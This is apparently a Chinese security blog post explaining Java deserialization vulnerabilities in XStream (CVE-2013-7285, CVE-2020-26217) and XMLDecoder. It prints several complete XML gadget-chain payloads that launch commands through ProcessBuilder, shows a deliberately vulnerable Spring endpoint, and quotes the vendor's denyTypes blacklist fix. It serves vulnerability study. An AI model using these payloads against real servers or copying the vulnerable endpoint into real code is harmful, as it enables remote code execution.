各种反序列化(XStream/XMLDecoder)

220 篇文章 7 订阅
213 篇文章 3 订阅

XStream反序列化原理

XStream将对象和xml字符串之间进行转换。

Object <=> XML字符串

XStream#toXML(Object o)    // 对象=> xml
XStream#fromXML(FileInputStream xml)    // xml => 对象

在这里插入图片描述

[CVE-2013-7285]XStream反序列化漏洞

影响范围

1.4.x<=1.4.6或1.4.10。

漏洞描述

Xstream API versions up to 1.4.6 and version 1.4.10, if the security framework has not been initialized, may allow a remote attacker to run arbitrary shell commands by manipulating the processed input stream when unmarshaling XML or any supported format. e.g. JSON.

原理

XStream是自己实现的一套序列化和反序列化机制,所以跟Java原生的反序列化有所区别。

XStream反序列化漏洞的存在是因为XStream支持一个名为DynamicProxyConverter的转换器,该转换器可以将XML中dynamic-proxy标签内容转换成动态代理类对象,而当程序调用了dynamic-proxy标签内的interface标签指向的接口类声明的方法时,就会通过动态代理机制代理访问dynamic-proxy标签内handler标签指定的类方法;利用这个机制,攻击者可以构造恶意的XML内容,即dynamic-proxy标签内的handler标签指向如EventHandler类这种可实现任意函数反射调用的恶意类、interface标签指向目标程序必然会调用的接口类方法;最后当攻击者从外部输入该恶意XML内容后即可触发反序列化漏洞、达到任意代码执行的目的。

PoC

执行多条命令:

<sorted-set>
    <string>foo</string>
    <dynamic-proxy>
        <interface>java.lang.Comparable</interface>
        <handler class="java.beans.EventHandler">
            <target class="java.lang.ProcessBuilder">
                <command>
                    <string>cmd</string>
                    <string>/C</string>
                    <string>calc</string>
                </command>
            </target>
            <action>start</action>
        </handler>
    </dynamic-proxy>
</sorted-set>

在这里插入图片描述

参考

另外一poc,参考:
https://blog.csdn.net/caiqiiqi/article/details/86990876

<map>
 <entry>
   <jdk.nashorn.internal.objects.NativeString>
     <flags>0</flags>
     <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
       <dataHandler>
         <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
           <is class="javax.crypto.CipherInputStream">
             <cipher class="javax.crypto.NullCipher">
               <initialized>false</initialized>
               <opmode>0</opmode>
               <serviceIterator class="javax.imageio.spi.FilterIterator">
                 <iter class="javax.imageio.spi.FilterIterator">
                   <iter class="java.util.Collections$EmptyIterator"/>
                   <next class="java.lang.ProcessBuilder">
                     <command>
                       <string>calc</string>
                     </command>
                     <redirectErrorStream>false</redirectErrorStream>
                   </next>
                 </iter>
                 <filter class="javax.imageio.ImageIO$ContainsFilter">
                   <method>
                     <class>java.lang.ProcessBuilder</class>
                     <name>start</name>
                     <parameter-types/>
                   </method>
                   <name>foo</name>
                 </filter>
                 <next class="string">foo</next>
               </serviceIterator>
               <lock/>
             </cipher>
             <input class="java.lang.ProcessBuilder$NullInputStream"/>
             <ibuffer></ibuffer>
             <done>false</done>
             <ostart>0</ostart>
             <ofinish>0</ofinish>
             <closed>false</closed>
           </is>
           <consumed>false</consumed>
         </dataSource>
         <transferFlavors/>
       </dataHandler>
       <dataLen>0</dataLen>
     </value>
   </jdk.nashorn.internal.objects.NativeString>
   <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
 </entry>
 </map>

[CVE-2020-26217]XStream 远程代码执行漏洞

参考:
http://x-stream.github.io/CVE-2020-26217.html
https://vas.riskivy.com/vuln-detail?id=65

影响范围:
≤ 1.4.13

官方介绍说是:

reported originally as CVE-2017-9805 for Struts’ XStream Plugin

在pom.xml里加上这个:

        <dependency>
            <groupId>com.thoughtworks.xstream</groupId>
            <artifactId>xstream</artifactId>
            <version>1.4.13</version>
        </dependency>

然后启动项目。

<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
        <dataHandler>
          <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
            <contentType>text/plain</contentType>
            <is class='java.io.SequenceInputStream'>
              <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
                <iterator class='javax.imageio.spi.FilterIterator'>
                  <iter class='java.util.ArrayList$Itr'>
                    <cursor>0</cursor>
                    <lastRet>-1</lastRet>
                    <expectedModCount>1</expectedModCount>
                    <outer-class>
                      <java.lang.ProcessBuilder>
                        <command>
                          <string>calc</string>
                        </command>
                      </java.lang.ProcessBuilder>
                    </outer-class>
                  </iter>
                  <filter class='javax.imageio.ImageIO$ContainsFilter'>
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>start</name>
                  </filter>
                  <next/>
                </iterator>
                <type>KEYS</type>
              </e>
              <in class='java.io.ByteArrayInputStream'>
                <buf></buf>
                <pos>0</pos>
                <mark>0</mark>
                <count>0</count>
              </in>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <string>test</string>
  </entry>
</map>

在1.4.13版本使用之前的javax.crypto.CipherInputStream
在这里插入图片描述
抛出这个异常:

com.thoughtworks.xstream.security.ForbiddenClassException

之前的java.beans.EventHandler也不行了。
Tips:
为了让报错结果好看一些,可以加上这个Accept:

Accept: text/html,application/xhtml+xml,application/xml

看修复方法,貌似还是继续黑名单:

xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter" });
xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class });

pom.xml里更新xstream版本到1.4.14,
发现java.lang.ProcessBuilder也被加到了黑名单里。
在这里插入图片描述

XMLDecoder反序列化

参考:
https://blog.csdn.net/SKI_12/article/details/85058040
深入分析原理参考:
WebLogic 安全研究报告

PoC
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_131" class="java.beans.XMLDecoder">
	<object class="java.lang.ProcessBuilder">
		<array class="java.lang.String" length="1">
			<void index="0">
				<string>calc</string>
			</void>
		</array>
		<void method="start" />
	</object>
</java>

实际测试发现不加version和class属性也可以成功。如果要使用多个参数的payload,需要将array标签的length字段设置为具体长度即可。
在这里插入图片描述
对应的漏洞代码:

@RestController
public class XmlDecoderRCE {

        /**
         * @author shadowsock5 @2020-03-16
         */
        @PostMapping("/XmlDecoder")
        public String parseXml(HttpServletRequest request) throws Exception{
            InputStream in = request.getInputStream();
            XMLDecoder d = new XMLDecoder(in);
            Object result = d.readObject(); //Deserialization happen here
            return "xstream";
        }
}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值